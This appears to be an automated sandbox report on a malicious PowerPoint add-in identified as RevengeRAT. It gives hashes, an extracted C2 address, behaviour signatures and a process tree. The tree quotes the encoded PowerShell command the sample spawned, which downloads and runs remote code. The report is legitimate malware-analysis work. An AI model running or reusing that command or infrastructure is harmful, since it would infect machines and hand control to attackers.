Analysis

  • max time kernel
    121s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    23-08-2024 10:29

General

  • Target

    f0a08759c7ffcc5dc2be1c4406357e3e0d50db90d69c957140a5d5a96677d5d6.ppam

  • Size

    31KB

  • MD5

    19dec27aebb0765515dce112629e6bf0

  • SHA1

    157f1b9b9a3cfee78e41a2ee7040c2c3d31acea9

  • SHA256

    f0a08759c7ffcc5dc2be1c4406357e3e0d50db90d69c957140a5d5a96677d5d6

  • SHA512

    ddaaf0fbc7b03d77595cfc1f5d4dbbeaf402716e72a9c44120759bf13905b26c9b63d68ec15305ca64cc0ca4d99846a135b4aff7075b6e574f3212435f9bd421

  • SSDEEP

    768:VPdLnd0SfrbXwc8594rrJqcIu4TVVSmdrUTXVHS1HbwHu:V5aSfrbXj8IrrpIu4SmdrUTg6u

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\f0a08759c7ffcc5dc2be1c4406357e3e0d50db90d69c957140a5d5a96677d5d6.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2720
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2816
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:264

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/264-56-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/264-60-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/264-62-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/264-64-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/264-65-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/264-66-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/264-67-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/264-58-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2644-45-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2644-44-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2644-53-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2644-51-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2644-49-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2644-48-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2644-55-0x0000000002A80000-0x0000000002A98000-memory.dmp

      Filesize

      96KB

    • memory/2720-39-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2720-43-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2720-0-0x000000002D391000-0x000000002D392000-memory.dmp

      Filesize

      4KB

    • memory/2720-40-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2720-38-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2720-13-0x0000000006080000-0x0000000006180000-memory.dmp

      Filesize

      1024KB

    • memory/2720-12-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2720-2-0x00000000728BD000-0x00000000728C8000-memory.dmp

      Filesize

      44KB

    • memory/2720-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2720-68-0x00000000728BD000-0x00000000728C8000-memory.dmp

      Filesize

      44KB

    • memory/2720-69-0x0000000005A70000-0x0000000005B70000-memory.dmp

      Filesize

      1024KB

    • memory/2720-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2720-72-0x00000000728BD000-0x00000000728C8000-memory.dmp

      Filesize

      44KB